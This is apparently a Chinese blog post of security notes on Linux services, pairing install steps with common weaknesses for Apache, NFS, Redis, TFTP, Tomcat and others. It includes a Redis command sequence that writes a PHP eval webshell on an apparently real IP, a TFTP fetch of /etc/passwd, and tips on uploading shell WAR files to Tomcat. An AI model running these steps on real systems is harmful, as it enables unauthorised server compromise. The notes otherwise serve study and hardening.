Linux 服務 安全

apache2.sh

常見問題

  • 解析漏洞
    不管文件最后后綴為什么,只要是.php.*結尾,就會被Apache服務器解析成php文件
  • phpinfo
    在網站后info.php查看版本和目錄信息

dns.sh

常見漏洞

  • DNS 域傳送
  • DNS 反彈Shells

安全性報告

https://www.sans.org/reading-room/whitepapers/dns/security-issues-dns-1069

redhat安配置DNS服務器

http://www.ahlinux.com/centos/8659.html

redhat安裝

yum install dnsmasq

ftp.sh

存在問題

  • 明文傳輸
  • 密碼直接可以嗅探到

Redhat安裝

yum install vsftpd ftp -y
vi /etc/vsftpd/vsftpd.conf
systemctl enable vsftpd
systemctl start vsftpd
firewall-cmd --permanent --add-port=21/tcp
firewall-cmd --permanent --add-service=ftp
Restart firewall:
firewall-cmd --reload
Then, update the SELinux boolean values for FTP service:
setsebool -P ftp_home_dir on
創建新的用戶來作為ftp的登錄用戶
500 OOPS 錯誤:創建的用戶在主目錄下面擁有寫的權限
問題解決: chmod a-w /home/user

mail.sh

yum install cyrus-imapd-utils

安全問題

  • POP3 和 STMP 均不是加密協議
  • 密碼脆弱
  • 服務易受緩沖區溢出攻擊

mongodb.sh

https://www.liquidweb.com/kb/how-to-install-mongodb-on-centos-7/

安全問題

  • 未授權訪問

mysql.sh

yum install mariadb mariadb-server
systemctl start mariadb # 啟動mariadb
systemctl enable mariadb #開機自啟動
mysql_secure_installation # 設置 root密碼等相關
mysql -uroot -p123456 # 測試登錄!


遠程登錄要修改主機防火墻規則 
 vi /etc/sysconfig/iptables
-A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 3306 -j ACCEPT

安全問題

nfs.sh

服務檢測方法

檢測目標是否有掛載
showmount -e 10.0.3.71
mkdir -p /mnt/nfs
mount -t nfs 127.0.0.1:/var/nfs /mnt/nfs -o nolock
umount /mnt/nfs

https://help.ubuntu.com/community/SettingUpNFSHowTo ubuntu官方介紹

服務簡介

net file system
The computer where directory located is called the server and computers or devices connecting to that server are called clients.
Clients usually 'mount' the shared directory to make it a part of their own directory structure.

Redhat安裝方法

yum -y install nfs-utils
systemctl enable nfs-server.service
systemctl start nfs-server.service
mkdir /var/nfs
chmod 755 /var/nfs
echo "/var/nfs * (rw,no_root_squash)" >> /etc/exports   //*統配源端IP
exportfs -a

https://www.howtoforge.com/tutorial/setting-up-an-nfs-server-and-client-on-centos-7/   centos
chown nfsnobody:nfsnobody /var/nfs
chmod 755 /var/nfs


配置時遇到的問題:
執行exportfs -a 的時候顯示警告
exportfs: No options for /var/nfs 10.211.55.2: suggest 10.211.55.2(sync) to avoid warning
exportfs: No host name given with /var/nfs (rw,no_root_squash), suggest *(rw,no_root_squash) to avoid warning
根據系統提示后修改為 /var/nfs *(sync) *(rw,no_root_squash)
掛載的文件系統不一樣 -t 參數中找不到對方的文件系統ext4


cilent配置與上類似
yum install nfs-utils

常見漏洞

  • 配置不當就可以直接掛在獲取文件信息

redis.sh

Redis是一個開源、支持網絡、基于內存、鍵值對存儲數據庫

Redhat安裝方法

參考:
https://segmentfault.com/a/1190000002685224
wget http://download.redis.io/redis-stable.tar.gz

存在的漏洞:

利用前提:
1.redis未授權 能redis-cli連上
2.開了web并且知道路徑(如利用phpinfo)

端口:6379
測試方法:
redis-cli -h 121.14.127.101 ping

利用redis寫Webshell

https://www.secpulse.com/archives/5357.html

redis 121.14.127.101:6379> config set dbfilename hd.php
OK
redis 121.14.127.101:6379> set k "<?php eval($_POST['cmd'])?>"
OK
redis 121.14.127.101:6379> save
OK

redis服務詳細配置 http://www.cnblogs.com/shanyou/archive/2012/01/28/2330451.html

rsync.sh

服務簡介

remote sync 遠程同步 用來備份

常見問題:

  • 配置不當導致 弱口令 匿名訪問(較多)

測試方法

rsync 10.210.208.39::dataserver/weibo_BD/

參考:http://static.hx99.net/static/drops/papers-161.html

snmp.sh

Redhat安裝

yum install -y net-snmp net-snmp-utils
 vi /etc/snmp/snmpd.conf  配置
[root@centos-7-va]~# echo rouser 123 auth >>  /etc/snmp/snmpd.conf
[root@centos-7-va]~# echo createUser 123 MD5 123 >>  /etc/snmp/snmpd.conf

參考
http://null-byte.wonderhowto.com/how-to/hack-like-pro-exploit-snmp-for-reconnaissance-0150181/

安全風險:

If we can crack the password on SNMP, we may be able to control each networked device.
This would allow us to change configurations, take devices offline, etc.

  • 利用 SNMPv1協議 無驗證

ssh.sh

新版的debian中并不允許root遠程登錄
要是想要root遠程 登錄需要在
vim /etc/ssh/sshd_config
修改配置

存在漏洞

telnet.sh

安全問題

telnet最大的問題就是不是一個加密通信協議
弱口令

tftp.sh

安全問題

  • tftp 不提供驗證功能,所以理論上來講可以上傳下載任何文件
    /etc/shadow 重點關注
    get /etc/passwd /tmp/passwd 下載文件

測試方法

TFTP 用于 UDP 端口號 69 文件傳輸活動

tomcat8.sh

安全問題

  • tomcat 后臺管理頁面 弱密碼
    將含有shell的war包傳上去
    Tomcat服務默認是以system權限運行的,因此該shell就繼承了其權限,幾乎可以對Web服務器進行所有的操作。

vnc.sh

安全問題

VNC 預設的端口5900至5906
密碼可以被嗅探,暴力破解

Redhat 安裝

https://www.howtoforge.com/vnc-server-installation-on-centos-7
根據配置會為每個用戶分配端口號,依據配置文件中的:1 + 5900

memcache未授權訪問

memcache未授權訪問, 除memcached中數據可被直接讀取泄漏和惡意修改外,由于memcached中的數據像正常網站用戶訪問提交變量一樣會被后端代碼處理,當處理代碼存在缺陷時會再次導致不同類型的安全問題。

建議不要將改服務發布到互聯網上被黑客利用,可以通過ECS安全組規則或iptables配置訪問控制規則。
iptables -A INPUT -p tcp -s 192.168.0.2 —dport 11211 -j ACCEPT
上述規則的意思是只允許192.168.0.2這個ip對11211端口進行訪問。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容